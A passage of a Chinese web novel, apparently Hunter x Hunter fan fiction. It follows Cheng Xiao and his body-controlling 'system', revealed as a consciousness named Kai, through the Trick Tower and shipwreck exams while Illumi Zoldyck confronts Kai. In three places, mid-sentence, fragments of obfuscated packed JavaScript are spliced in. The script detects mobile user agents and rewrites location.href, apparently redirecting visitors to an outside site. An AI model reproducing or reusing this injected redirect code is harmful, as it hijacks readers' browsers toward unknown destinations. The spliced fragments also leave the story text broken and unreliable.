……一个关于‘以某种形式继续存活’的愿望? 这个念头让伊尔迷周身的气息变得更加冰冷而死寂。如果这个推测成立,那么很多无法解释的细节似乎都有了答案,但同时,也意味着一个他亲手“处理”掉的、本该彻底消失的资产,可能以某种他无法预料的方式,脱离了揍敌客的掌控。 他的目光再次投向远处那个睡得毫无形象的程笑,漆黑的眼底深处,第一次不再是纯粹的否定和漠然,而是染上了一丝极其隐晦的、冰冷的探究。 飞艇上或许发生了一些类似于原著中的小插曲,但这一切都与程笑无关。他直接睡了个天昏地暗,不省人事。 对于宿主这种史无前例的安分守己,系统感到了极大的欣慰,甚至主动维持着身体的深度睡眠状态,没有进行任何不必要的活动或探查。 远处阴影中,伊尔迷的视线偶尔扫过程笑毫无防备的睡颜。 …如此毫无戒备的沉睡,与‘他’任何时候都保持最低限度警惕的习惯完全不符。 …但‘许愿’的结果充满未知,人格覆盖或融合并非不可能… …依旧无法完全排除寄生或存在某种联系的可能性。 …需要进一步观察。 第三场考试的场地很快抵达。当众人登上那座阴森诡异的贱阱塔顶部,听着理伯讲述那残酷的规则(72小时抵达地面,否则淘汰)并开始各显神通寻找入口时—— 程笑打了个大大的哈欠,揉了揉睡得有些发懵的眼睛,似乎根本没在听规则。他左右看了看,然后非常随意地、像是在自家后院散步一样,走到塔边某块看起来平平无奇的砖石前,抬脚—— “咔嚓!” 那块砖竟然真的被他轻易踩开,露出一个黑漆漆的、似乎是向下的滑道入口! 程笑想都没想,非常自然地就顺着那洞口滑了下去,身影瞬间消失在了黑暗中,只留下洞口那块砖缓缓合上的轻微声响。 塔顶的众考生:“…………” 经历了前两场考试,尤其是这家伙之前跳崖抢蛋的壮举后,大家对此似乎已经有点见怪不怪了。 某个路人甲考生叹了口气:“……又是他。” 另一个路人乙考生耸耸肩:“……算了,习惯了。” 而刚刚讲解完规则的理伯(通过监控看到这一幕):“???”这入口我明明伪装得很好啊?! 系统在程笑滑下去的瞬间才完全清醒,只来得及在意识里留下一串乱码:“……?!” 程笑顺着那条异常光滑的通道一路向下,在绝对的黑暗中滑行了漫长的一分钟,最终“噗”地一声,落在了一张极具弹性、微微下陷的柔软大网中央。 四周是伸手不见五指的浓黑,只有头顶极高处那个入口透下的一丝微光,也在他落地后几秒内悄然消失——入口无声地闭合了。 “喂喂…这黑得也太离谱了!”程笑小声抱怨,下意识在脑中呼喊:“系统!江湖救急!夜视功能有没有?最不济来个手电筒模式?” 系统冰冷的声音立刻响起,带着一丝微不可查的疲惫: “……未有此功能。建议:一、依靠触觉与听觉缓慢移动。二、静待视觉适应低光环境。三、高声呼救,测试是否有考官乐于提供照明服务,尽管概率低于0.73%。” 程笑:“……” 行,算你狠。 他只能小心翼翼地向前摸索。刚迈出第三步,脚下触感骤然消失! “呜哇——!” 一声惊呼卡在喉咙里,他整个人已被一股大力拽得倒悬而起,一只脚踝被冰冷的金属箍死死锁住。几乎同时,黑暗中“咔哒”声连成一片,十几对幽绿得令人心悸的、拳头大小的光点自墙壁四周亮起,伴随着令人牙酸的金属摩擦声,从四面八方缓缓逼近。 ———贱阱塔监控室内——— 巨大的监控屏墙分割出无数画面,空气中弥漫着电子设备低沉的嗡鸣。主考官理伯舒适地靠在椅背上,旁边坐着几位副考官,其中包括一位戴着耳机、负责详细记录和分析考生表现的女考官格拉多尔。 理伯的目光饶有兴味地锁定着几个屏幕,其中就有程笑。“会长特意提过的小子……哦?掉进【收藏家的巢穴】了?” 格拉多尔立刻调出该区域的资料,语速飞快地汇报:“目标触发B-7区:收藏家的巢穴 陷阱:地面大面积覆盖着极其逼真的拟态薄膜,其下是深坑。触发的瞬间,精密的机械锁会瞬间箍住踩入者的脚踝,将其倒吊。 危机:隐藏于墙内的自律型机械收集者被激活。它们并非以杀戮为目的,但其带有精密传感探头的机械臂会试图剥离、收缴“猎物”身上一切被认为有价值的物品(武器、金属饰品、特殊材质衣物),并用高强度合成纤维将猎物层层包裹,如同标本般悬挂收藏。 淘汰方式:失去所有装备或超时 破局关键:极致静默。机械单位通过猎物的震动(挣扎、喊叫)和热能变化来判断“价值”和处理顺序。保持绝对静止,模拟无生命状态超过75秒,它们会判定为“无用杂物”并解除禁锢,退回待机状态。 考验内容:危机下的极致冷静与控制力。” 理伯翻到手册某一页,看着屏幕上被倒吊起来的程笑,“让我看看你的反应……嗯?居然瞬间完全静止了?连体温和呼吸频率都骤降?!这控制力……有点意思。” ——————考试中———— 程笑的心脏狂跳,但系统已瞬间全面接管。所有肌肉纤维被强制锁定,呼吸心跳被压至最低生理极限,体温微微下降,整个人如同彻底凝固的雕塑悬于黑暗中。 冰冷的机械臂带着细微的嗡鸣声在他周身扫描、试探,甚至轻轻刮擦过他的衣角,但终因检测不到足够的“活性”与“价值”而退去。幽绿的光点逐一熄灭,脚踝上的金属箍“咔”地松开。他轻盈落地,无声地呼出一口系统刚刚返还给他的空气。 “妈的……吓死我了……”程笑刚在意识里喘上口气。 “咔嚓——!” 脚下另一块地砖毫无征兆地向下翻转! 他坠入了一个绝对隔音的圆形小石室。面前三条完全一致的通道入口上方,刻着三句浮夸的标语: 左:【黄金之海,永生财富】 中:【平安之路,直达终点】 右:【勇者之径,唯快不破】 “选择题!”程笑来了精神,“系统!左边有钱!” 系统:“……分析完毕。三条通道危险系数均超过阈值。建议:上方。” 程笑一抬头,凭借系统增强的视觉,果然捕捉到了顶部的异常。 “……靠!玩文字游戏!” 在系统操控下,他腿部肌肉瞬间爆发出惊人力量,一跃而起,精准地推开顶部的活动石板,攀爬了上去。 ——————监控室————— 手册翻页。 “【三言蛊心】。经典的心理陷阱。”理伯看着程笑掉进密室,听着他在那里嚷嚷“左边有钱!”,忍不住嗤笑一声,但随即,他看到屏幕里的程笑头颅猛地以一个异常精准的角度抬起,视线毫无迷茫地瞬间锁定顶部缝隙,紧接着腿部肌肉以一种超越常理的协调性猛然发力,一跃而起,推开石板的动作流畅而高效,与之前咋咋呼呼的样子判若两人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526540|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 监控室内:格拉多尔的声音再次响起:“目标进入C-4区【三言蛊心】,三条通道均为致命陷阱(强酸、窒息、碾压)。 破局关键:必须无视语言蛊惑,发现顶部唯一生路,需要极佳观察力与爆发力。 考研内容:对语言蛊惑的免疫力和绝境中不忘观察的本能。” 另一位男性副考官摸着下巴感叹:“从嚷嚷着‘左边有钱’到瞬间找到正确出口……这思维切换速度也太诡异了。” —————考试中—————— 新的通道空气甜腻得发齁,吸入一口便让人头晕目眩,通道尽头一扇华丽的大门散发着诱人的光晕,门上写着:休息室:食物、清水、软床。 程笑吸了一口,眼前立刻浮现出堆成山的游戏机和无限续杯的肥宅快乐水,嘴角咧开傻笑。 —————监控室————— 手册再翻。 “【忘忧花廊】。看你能撑几秒……”理伯看着程笑吸入孢子,脸上露出傻笑,觉得果然如此。然而,那傻笑仅仅持续了一秒!程笑的脸色猛地一肃,所有表情瞬间消失,眼神变得空洞而专注,整个人如同上紧发条的机器般弓身、冲刺、撞击侧壁石门!一系列动作在电光石火间完成,高效得令人发指! 格拉多尔快速报告:“目标进入A-1区【忘忧花廊】。空气中弥漫强效致幻孢子,诱发深度幻觉与睡眠。 危机:在美梦中沉沦直至超时。或走向幻境中的“门”(实为绘有诱饵图案的坚固石墙)。 破局关键:极度耐力或极端速度。真正出口是侧壁一扇毫无标记、与墙面融为一体的沉重石门。需在极短时间内屏息通过,或拥有撕裂幻觉的钢铁意志。 考验内容:生理与心理的双重耐力。 他……他这根本是靠着非人的身体控制力硬闯过去了?” 理伯坐直了身体,眼中兴趣更浓:“吸入孢子后一秒内摆脱并精准找到隐藏出口……这已经不是钢铁意志了,这像是……换了个脑子。” ……… 历经数小时诸如“必须回答正确哲学问题才能通过的知识回廊”、“需要极高平衡感走过的无声刀锋之路”等更多光怪陆离的关卡后,程笑和系统终于精疲力尽地看到了塔底出口的光芒。 “光!是光!系统!我们是不是……”程笑激动得热泪盈眶。 他连滚带爬、几乎是摔出出口,张开双臂准备迎接胜利的曙光和众人惊讶的目光—— 然后,他看到空旷的终点平台上,旁边巨大的计时器,红色的数字正无情地跳向最后的:71:59:55。 “406号考生,程笑。通过第三场测试。” 程笑:“……” 系统:“……符合预期。最终效率评级:D。” 程笑瘫坐在地上,看着那巨大的计时器跳向 71:59:55,一股巨大的尴尬和“不会吧”的预感笼罩了他。 他干笑两声,在意识里试图挽回一点尊严:“……哈、哈哈。没事,系统!肯定还有比我们更慢的!说不定还在哪个坑里扑腾呢!” 系统:“……基于目前的通关效率数据及时间推算,该可能性低于2.1%。”(语气充满了毫不掩饰的怀疑) 就在这时—— “嗡——!!” 一阵急促的、类似引擎轰鸣的声响从头顶的塔内通道由远及近急速传来!声音越来越大,还夹杂着少年们兴奋的惊呼! 在计时器跳到 71:59:59 的最后一刹那! 一群身影踩着滑板,以近乎疯狂的速度从某个漆黑的出口通道里冲了出来!滑板与地面摩擦发出刺耳的噪音,带着一连串火花,最后险之又险地停在边缘,差点冲下平台。 滑板上的小杰发出一声欢呼:“成功了!!” 紧跟在他后面,奇犽、酷拉皮卡和雷欧力也以各种或狼狈或敏捷的姿势冲了出来,正好卡在最后一秒! 计时器最终定格在:72:00:00。 萨茨考官面无表情地宣布:“404号、403号、405号、402号考生,通过。” 程笑:“……” 系统:“…………………好吧。” 声音里,仿佛蕴含着无尽的人类式无语、释然、以及一丝“这世界果然不讲道理”的认命感。 小杰好奇地看向旁边瘫坐着的、生无可恋的程笑:“啊,你是比我们更早出来的吗?好厉害!” 奇犽瞥了程笑一眼,撇撇嘴:“看起来不像很厉害的样子啊……” 酷拉皮卡&雷欧力:“……”(继续礼貌性沉默) 程笑:“…………” (内心暴风哭泣:为什么!为什么我累死累活还不如人家玩滑板的帅!) 11. 不请自来的变态 第二场考试的波澜终于彻底平息,所有合格考生跟随考官登船,来到了第三场考试的场地——一座看似荒芜的军舰岛。 一对老夫妇考官站在众人面前,清了清嗓子,正准备开始详细讲解本场考试的规则和“如何合格”的具体要求。 然而,就在老考官刚说出“本次考试的内容是……”这几个字时—— 队伍中,程笑只是极不耐烦地瞥了一眼那无边无际的大海,仿佛下定了某种决心。 “扑通——!” 一声巨大的落水声打断了考官的话。 在所有考生和考官惊愕的目光中,程笑竟然连一秒钟的犹豫都没有,直接一个猛子,以近乎英勇就义般的姿态,干脆利落地扎进了冰冷的海水里,溅起老高的水花,然后瞬间被海浪吞没,只剩下几个气泡咕噜咕噜地冒上来。 老考官夫妇:“???” 两位老人显然主持过不少届考试,但还是头一回见到这种连规则都不听就直接往海里跳的选手,一时间愣在原地,张着嘴,后面的话全卡在了喉咙里。 周围的考生们在一瞬间的寂静后,纷纷露出了然甚至有些麻木的表情。 某考生A:“……又是他。” 某考生B:“……算了,习惯了。” 某考生C:(扶额)“这次又是什么新花样……” 甚至没有人表现出太大的惊讶,仿佛程笑做出任何出格举动都是理所当然的。 而在冰冷的海水里,程笑猛地呛了一口水,瞬间清醒了不少,开始在意识里疯狂呼叫: “系系系……系统!救命!这水怎么这么冷?!接下来该怎么游?!规则是啥来着?!” 系统:“……信息不足,无法判断。建议宿主立刻返回岸边听取规则。” 程笑:“……我现在回去还来得及吗?会不会很丢人?” 系统:“……对比您入水时的姿态,我认为‘丢人’已不是当前需优先考虑的问题。生存优先。” 在“社死”的巨大威胁下,程笑的大脑终于从一片混乱中扒拉出了关于这场考试的关键信息。 “哦!对对对!”他一拍脑袋(结果在水里差点把自己拍沉),“想起来了!这场是先潜下去捞那些沉船里的宝贝,然后拿宝贝回岛上跟那对老夫妇换到房间睡觉!” 此时,岸边的考生们也已经听完了完整的规则,开始纷纷跃入海中,如同下饺子般四散开来,朝着海底的沉船遗迹潜去。 程笑见状,一股“不能落后”的争强好胜心(虽然毫无必要)瞬间涌起。 “看我的!”他大喊一声,深吸一口气(吸得太急差点呛到),再次一个猛子扎进了海里,试图跟上大部队。 然而,理想很丰满,现实很骨感。 海底的水压、昏暗的光线、以及需要长时间闭气寻找物品的难度,远远超出了他这个半吊子的能力范围。 第N次,他因为估错上浮时间,或者被突然游过的鱼吓到,又或者是纯粹憋不住气了,猛地张开嘴,腥咸苦涩的海水瞬间灌入鼻腔和喉咙,呛得他眼前发黑,四肢胡乱扑腾,拼命想要挣扎回水面。 就在他感觉自己快要成为本届第一个在考试里淹死的考生时—— 一股冰凉的感觉瞬间席卷全身,所有失控的挣扎动作戛然而止。 系统无可奈何地接管了这具快要溺水的身躯。 它操控着身体停止了下意识的慌乱扑腾,以最节省能量的方式,协调四肢,平稳而高效地浮出了水面。 “咳!咳咳咳——!”重新接触到空气,程笑立刻夺回了部分控制权,趴在系统不知从哪里找来的一块漂浮木板上,狼狈不堪地剧烈咳嗽着,眼泪都快咳出来了。 “咳…呸!系、系统!”程笑在意识里刚找回点神智,立刻兴奋地嚷嚷,仿佛刚才快溺死的不是自己:“别停啊!继续往下!你看他们潜得多深!说不定宝贝都在下面!咱们也得……咕噜噜……”他又兴冲冲地试图下潜,结果被系统强行拉了回来。 系统操控着身体,无视了宿主的疯言疯语,冰冷的声音带着一丝不容置疑的果断: “………终止你这种等同于自杀的无效下潜行为。” “………扫描显示,你的心肺功能和肌肉强度无法支撑深海搜寻………检测到11点钟方向,距离75米处,有一艘半浮于海面的沉船残骸。桅杆和上层结构暴露在外,易于攀爬。” 一个清晰的坐标和沉船轮廓被直接投射在程笑的视觉界面上。 “………建议:立刻前往该沉船。即便内部已被搜寻过,其暴露的结构也是绝佳的休息点和跳帮作战平台,符合你‘寻找乐子’及‘节省体力’的双重需求。” 系统甚至学会了用程笑的逻辑来说服他 程笑看着那艘歪斜着、一半露出海面仿佛在向他招手的破船,眼睛唰地亮了:“哦豁!空中楼阁!这个好!说不定上面还有没被发现的宝藏,或者能埋伏哪个倒霉蛋抢现成的!系统你太懂我了!” 系统:“………只是基于现状的最高效解决方案。请立刻行动,你漂浮在原地的样子很像一种叫做‘海獭’的生物,且同样毫无效率。” ———沉船残骸内部——— “系统。”程笑在一条狭窄的沉船走廊里摸索了半天,扒拉着那些早已被搜刮一空的腐朽木箱,语气越来越沮丧,“啥也没有啊!这破地方早就被人搬空了吧?连个铜板都不剩!” 他不甘心地游到一处断裂带,眼前是沉船折断后留下的狰狞截面,更深更幽暗的船体部分向下延伸,隐没在昏暗的海水中。 “诶~!”程笑突然眼前一亮,像是发现了新大陆,“这断在下面的半截肯定没人搜过!好东西一定都在下面!” 但看着那幽深、结构复杂且显然缺乏氧气的危险区域,他犯了难:“……就是这地方太刁钻了,不好下去啊……” 他东张西望,目光最终锁定在头顶上方一根粗壮但同样布满腐蚀痕迹的船梁上。一个“绝妙”的主意瞬间诞生。 “嘶……”他打量着那根船梁,又估算了一下自己的核心和腿部力量,一种莫名的自信(错觉)涌上心头,“我觉得……我能行!” 说干就干。他奋力向上游,用尽腰腹力量猛地向上一蹿,试图用小腿勾住那根横梁。 第一次,滑脱了。第二次,勉强搭上了,但摇摇欲坠。第三次,他终于成功地用小腿后侧勾住了横梁,整个人像只笨拙的蝙蝠一样倒挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526541|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 “嘿……嘿……成功了……”他得意地喘着气,开始试图依靠腰腹力量摆动身体,想要借此探入下方的断裂区。 然而,倒挂姿势对核心和腿部力量的要求极高。仅仅几秒钟,他那缺乏锻炼的小腿肌肉就开始剧烈颤抖、发酸,力量迅速流失。 “不、不好……勾不住了!”他心里猛地一慌,勾住横梁的小腿因为力竭而猛地一松! 整个人瞬间失重,头下脚上地朝着下方布满尖锐断裂木材和锈蚀金属的船体残骸坠去! “!!!” 死亡的阴影瞬间笼罩而下! 就在这千钧一发的空白期,系统反应极其迅速地强制接管了身体! 下坠的身体在空中猛地做了一个极其违反常理的卷腹扭转,硬生生改变了头下脚上的致命姿态,同时双手闪电般伸出,“啪”地一声死死抓住了断裂带边缘一块相对坚固的木板,整个身体险之又险地悬吊在了深渊之上,脚下几厘米处就是狰狞的金属尖刺。 程笑吓得魂飞魄散,在意识里连尖叫都发不出来了。 系统操控着手臂肌肉,冷静地将身体缓缓拉上安全区域,然后才在意识里发出冰冷的警告: “……再次重复:建议宿主放弃任何需要高超体能和风险评估能力的自主行动。” “……您的‘觉得能行’与实际情况存在致命偏差。” 程笑:“……” (彻底老实了。) 在系统精准的控制下,身体重新以稳固的姿势倒悬于船梁之上,如同一个冷静的勘探者,系统地扫描着下方昏暗的断裂层。 可见光极其有限,但它敏锐地捕捉到一丝极其微弱的、不同于周围环境的规则折光。 操控着手臂精准地探向光源所在,指尖触碰到了一件硬物。拨开覆盖其上的淤泥和海藻,一枚镶嵌着硕大红宝石的戒指显露出来,戒圈还套在一截早已乌黑、与腐朽船木几乎融为一体的指骨上。 “感谢。”系统操控着声带,以一种平静无波、近乎仪式性的语调,对着那具无名遗骸简洁地表达了获取物品的感激之情。随后,它利落地取下了那枚戒指。 正当它准备操控身体松开船梁,上浮离开这处幽闭空间时—— 呼—— 极其轻微的、几乎被水流声掩盖的触感从头顶正上方传来。 系统瞬间锁定感知来源,操控着倒悬的身体,以一种略显僵硬的姿态,缓缓向上“望”去。 就在他刚才悬吊的那根粗壮船梁之上,更高一层的断裂平台边缘,一个身影正静静地、如同鬼魅般矗立在那里。 伊尔迷·揍敌客。 他仿佛已经站在那里很久,又像是刚刚无声无息地出现。冰冷的海水似乎无法扰动他分毫,黑色的眼眸如同两个深不见底的漩涡,正无声地、自上而下地凝视着下方倒挂着的“程笑”。那目光里没有任何情绪,只有纯粹的、令人窒息的观察。 通过共享的感官,程笑瞬间感觉到了系统操控下的身体那微不可查的一顿,以及为了应对极端状况而瞬间提升的警觉状态所带来的、近乎呼吸停滞的压迫感。 ……我……靠……! 程笑的意识在极度震惊中几乎冻结。 12. 见鬼的误解 时机太巧了。 系统的思绪飞速运转,冰冷的逻辑瞬间得出了最危险的评估。 正好卡在我无法轻易脱身的状态——一旦松腿,下方是尖刺,上方平台则被他完全占据,无处可借力。 他一直潜伏在附近观察?从什么时候开始? 伊尔迷·揍敌客如同读取到了那无声的思绪流,漆黑猫眼在昏暗中精准锁定下方。他没有动作,只是微微歪头,像是在确认某种极其细微的差异——或许是那超出这具身体原有素质的、过于精准的肌肉控制力。 随即,他做出了判断。他直接蹲了下来,这个动作让他那没有表情的脸庞更贴近了倒悬着的“程笑”,居高临下地凝视着深处,语气平淡却带着一种令人毛骨悚然的笃定: “你终于肯出来了。” 这句话不是疑问,而是陈述。 伊尔迷微微眯起眼,目光仿佛能穿透皮囊,直抵内部那个挣扎的意识,吐出了那个名字: “凯。” “……” 被直接点名的系统——或者说,藏于其深处的那个名为“凯”的意识——核心仿佛遭遇了最强的逻辑冲击。 他肯定了?基于什么?还是……仅仅是更进一步的试探? 无数种应对方案在瞬间生成又被否决。承认?否认?每一种选择都导向无法预测的危险深渊。 “程笑”的脸上没有任何情绪波动,甚至连瞳孔都没有收缩一下,只是维持着那副倒挂的、略显僵硬的姿态,沉默地回望着伊尔迷,仿佛对方只是在叫一个与自己毫无关系的名字。 伊尔迷蹲在平台上,如同观察着玻璃箱中的标本,耐心地等待着。那沉默本身,似乎也是一种答案。 那死寂的、非人的平静,反而像是最终确认了伊尔迷的猜想。他蹲在平台上,漆黑的眼睛在昏暗中微微闪烁,一种近乎“果然如此”的情绪在那非人的眼底一闪而过。 “…真的没死啊。”他的语气里听不出喜怒,更像是在确认一个有点麻烦但已预料到的事实。 “那个疯子虽然吵闹,但肢体语言不是这样的。你控制得太好了,好得过分了。” 他歪着头,用那双能洞察欲望和弱点的眼睛看着下方,开始了分析。但这分析不是冷冰冰的数据比对,而是基于对人类行为的深刻理解,却得出了完全功利的结论: “躲了这么久,是害怕吗?”他问,但并不是真的关心情绪,“害怕被我带回去?” 然后,他没等回答,仿佛自言自语般给出了解决方案,语气里甚至带着一种扭曲的“体贴”: “不用怕。虽然你做了错事(指逃跑),但你现在回来,我可以不计较。” “你看,你待在这种劣质的身体里,连自保都做不到。跟我回去,家里有更好的‘容器’。” “至于这个吵闹的意识,”他轻描淡写地补充道,就像在说处理一件旧衣服,“如果你不喜欢,让他消失掉也可以。很简单。” 在他的世界观里,这已经是充分考虑对方“感受”(恐惧、对现状不满)后,所能给出的最“优厚”且“周到”的条件了。 系统(或者说,凯)的核心逻辑遭遇了前所未有的冲击。伊尔迷的每一句话都像一把精准的钥匙,撬动着他试图严密封锁的过去和现在。他陷入了一个无解的悖论:任何基于理性或习惯的回应,都可能成为对方确认他身份的进一步证据。 当对方对你的了解达到某种程度后…沉默是证明,反驳是证明,甚至失控…也是证明。 更何况,伊尔迷的每一句话都精准地踩在“人类”会在意的问题上(恐惧、归宿、对现状的不满),但其给出的解决方案却如此非人。任何基于理性的回应,都会暴露。 …他正在用人类的逻辑陷阱,捕捉一个试图隐藏的灵魂。 就在这致命的僵局中,程笑在意识海里支招:他在跟你谈条件!别被他带跑偏!胡扯!用魔法打败魔法! 凯意识到,任何符合逻辑的应对都会落入下风。……只能执行高风险策略。 “……可以。” 凯冰冷地回应,决定将这作为最后的战术尝试。 于是,在伊尔迷那双漆黑猫眼的凝视下,下方倒挂着的“身体”依旧由凯绝对控制着每一块肌肉,但接下来的表演却完全出自程笑的剧本。 只见“他”的脸上依旧没什么大幅度的表情(凯不擅长这个),但语气却用一种平板无波、毫无灵魂的棒读腔,复述着程笑在脑子里的叫喊: “嗨~哥们。你说啥呢。什么凯不凯的。认错人了吧。我就是下来捞点宝贝的。你看这鬼地方黑的。你要是也跟我一样倒霉。转了半天屁都没找到。喏——” “他”说着,机械地举起那只刚刚从枯骨上扒下来的、还沾着点海底污渍的红宝石戒指,朝着伊尔迷晃了晃,动作略显僵硬。 “我分你一点。见面分一半嘛。咱得饶人处且饶人。以和为贵。以和为贵行不。” 伊尔迷:“…………” 这内容与形式的极度割裂,让伊尔迷顿了一下。他那总是能看穿谎言和欲望的眼睛里,第一次出现了类似于“这不在剧本内”的细微困惑。这不是数据错误,而是像看到一个精心设计的机械钟表里,突然跳出了一只吱吱叫的橡胶小鸡。 随即,一种非常非常淡的、近乎虚无的兴趣,取代了那丝困惑。 ……试图用毫无意义的噪音来干扰判断? ……这种策略,很低级。但由“你”用这种方式表现出来…… 他觉得……有点意思了。不是愉悦,而是像科学家发现了一种新的、行为模式很蠢但成因不明的生物。 于是,他的喉咙深处发出了一声极其短促的、仿佛是系统故障般的、压缩到极致的气流音——“呵”。 那可能是一个被这荒谬至极的景象冲击到的、近乎失笑的声音。 而在意识深处,主导着这番诡异表演的“凯”,只感觉到一种久违的、几乎快要遗忘的、名为羞耻的情绪,不受控制地弥漫了上来,仿佛要透过绝对的控制,让这具身体的脸颊开始发烫。 伊尔迷·揍敌客那总是如同精密仪器般运行的大脑,罕见地捕捉到一丝……愉悦? 这感觉很难形容。如果非要比喻,就像是一直以来对你冷若冰霜、惜字如金、连眼神都懒得给你的冰山美人,突然被迫在闹市街头、用毫无感情的棒读腔吆喝着“烤肠五块钱一根”一样。 那种极端反差带来的荒谬感,以及目睹对方被迫放下所有格调、甚至隐隐透出羞耻却无法逃脱的境地…… ……着实令人新奇。 ……并且,有点发笑。 在他的漫长记忆里,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就在这令人绝望的尴尬僵持时刻,一束明亮的手电筒光突然从侧面一道裂缝中打了进来,精准地照亮了这诡异的一幕:一个倒挂着的少年,正举着一枚戒指,对着上方一个脸色苍白、插满钉子的怪人。 紧接着,一个光溜溜的脑袋探了进来,是考生武藏。他显然目睹了全过程,并且凭借他有限的想象力得出了一个离谱至极的结论。他瞪大了眼睛,嘴巴张成O型,指着那枚戒指,结结巴巴地惊呼: “啊?你、你们??你这是在……向这个钉子怪人求婚吗?!” 伊尔迷和凯(操控着身体)同时因为这突如其来的打扰和更加突如其来的离谱解读而齐齐愣了一下。 伊尔迷瞬间利用了这场合。不过他并没有采纳这个剧本,而是用一种让凯更加心寒的方式——他非常自然地、仿佛理所当然地,对着武藏,用平淡的语调坐实了最糟糕的误会: “不。” 他漆黑的眼睛扫过武藏,让对方如坠冰窟。“我们在处理家事。他是我的。” “我的”这两个字,被他用毫无波澜的语调说出来,带着一种不容置疑的、如同宣告物品所有权般的绝对占有欲。 武藏考生则露出一副“果然如此!而且你的品味真是独特得惊天动地!”的表情,满脸尴尬和震撼,连连摆手:“不、不好意思!打扰了!你们继续!祝、祝你们幸福!” 说完,他像是见了鬼一样,手忙脚乱地想缩回头,结果因为太慌乱,脑袋“咚”一声撞在上方的钢梁上,痛呼一声,连滚带爬地消失在了黑暗中。 黑暗重临。 伊尔迷的目光重新锁死“程笑”,那目光平静却比任何威胁都可怕,仿佛在说:看,外人都知道你是我的。玩够了,就该回家了。 凯的意识里,只剩下冰冷的决绝:…必须逃离。不惜一切。 13. 和世界链接的第一步,知道什么是真实 伊尔迷那句“他是我的”带着冰冷的占有欲,如同实质的锁链缠绕上来。 凯没有任何回应,他操控着身体,利用伊尔迷话音落下的那一瞬迟疑,腿部肌肉爆发出精准而克制的力量,不是攻击,而是猛地蹬向本就腐朽的船梁! 那根本就腐朽的船梁顿时发出了令人牙酸的“嘎吱——” 呻吟声,仿佛下一秒就要彻底断裂! 伊尔迷的注意力果然被这突如其来的声响和船梁的震动所吸引,他抬起那双漆黑的猫眼,看向上方发出哀鸣的受力点,语气里甚至带着一丝愈发浓郁的、看戏般的愉悦: “需要我帮你吗?看起来——”他慢条斯理地评价道,“——它好像支撑不了……” 就是现在! 趁着他的视线本能地向上偏移了零点几秒,凯操控身体瞬间做出了反应!一个极其迅捷而标准的卷腹收身,同时足尖在即将断裂的船梁上最后借力一点,整个人如同脱离弹射器般,精准而轻盈地翻上了伊尔迷所在的上一层平台! 动作干净利落,没有丝毫多余。 伊尔迷的话音甚至还没完全落下,就发现下方已经空了。他缓缓低下头,看着已经稳稳落在平台上、正下意识与他拉开距离的“程笑”。 “啧……可惜了。我还挺……‘喜欢’那枚戒指的呢~”他故意拖长了语调,仿佛在单纯的惋惜那份本应到手的资产。 系统(凯):“…………” 没有任何回应。甚至没有试图去分辨伊尔迷话中的深意。系统操控着身体,毫不犹豫地转身,用一种近乎逃离现场的、却又强行保持着镇定步伐的速度,快步朝着平台另一端通往其他区域的通道走去。 每一个指令都在尖叫着同一个意思:离开。立刻。马上。远离这个是非之地! 伊尔迷并没有追击。他缓缓站直身体,看着那个几乎是落荒而逃的背影消失的方向,脸上没有任何被戏弄的恼怒,反而那双漆黑的猫眼里,玩味的神色如同深潭中的暗流,缓缓涌动。他轻轻歪了下头,仿佛在重新评估这件“失而复得的资产”当前的有趣状态。 —————— 程笑用那枚浸透了社死记忆的红宝石戒指,,成功地从老夫妇考官那里换到了一把锈迹斑斑的黄铜钥匙,以及一个对应的床铺号。 他几乎是摔进那张硬板床的,身体接触硬木板带来的轻微痛感,此刻却异常清晰。他没有立刻说话,只是睁大眼睛望着天花板上斑驳的霉点,胸膛里是一种前所未有的、近乎真空般的寂静。 一直以来,支撑着他在这个世界疯狂起舞的根基,不是勇气,而是疏离。 他从未真正相信过这里。有“系统”存在的世界,能真实到哪里去?这更像是一场高度沉浸式的、无法退出的虚拟现实游戏。他所遭遇的一切,都是逼真的剧情和NPC;他所承受的伤痛,是游戏的体感反馈;而“系统”,就是游戏内置的、帮助他通关的辅助程序。 他将整个世界的重量,都轻飘飘地架设在这个虚无的预设之上。 所以他可以肆无忌惮。死亡是游戏结束(或许还能读档),冒险是探索地图,与人交往是触发剧情。他把自己活成了一个清醒的梦游者,一个沉浸在自我剧本里的演员,认为周遭一切都是布景,只有他手中的“烟花”是唯一的真实。 现在,布景被撕开了一道口子。 “系统……”他轻声开口,声音沙哑,“不……凯。” 这个名字像一把钥匙,插进了他认知世界的锁孔,然后,猛地转动。 如果系统不是程序,而是一个真实存在的、有过去、有意识的人…… 那这个世界呢? 伊尔迷不是NPC,他是真实拥有可怕意志的杀手。西索不是剧情BOSS,他是真正以杀戮为乐的变态。眼前的床铺、空气中的霉味、指尖触碰木头的感觉……这一切都不是数据模拟,而是物理法则下真实不虚的存在。 他一直赖以生存的“虚假感”和“游戏感”,在这一刻轰然倒塌。那层将他与世界隔开的、提供安全距离的滤镜,碎了。 他从未如此赤裸地、毫无缓冲地,直面这个世界的真实性。 而更让他浑身发冷的是…… “那我……我之前做的所有事……”他喃喃自语,一股寒意从脊椎窜上头顶。 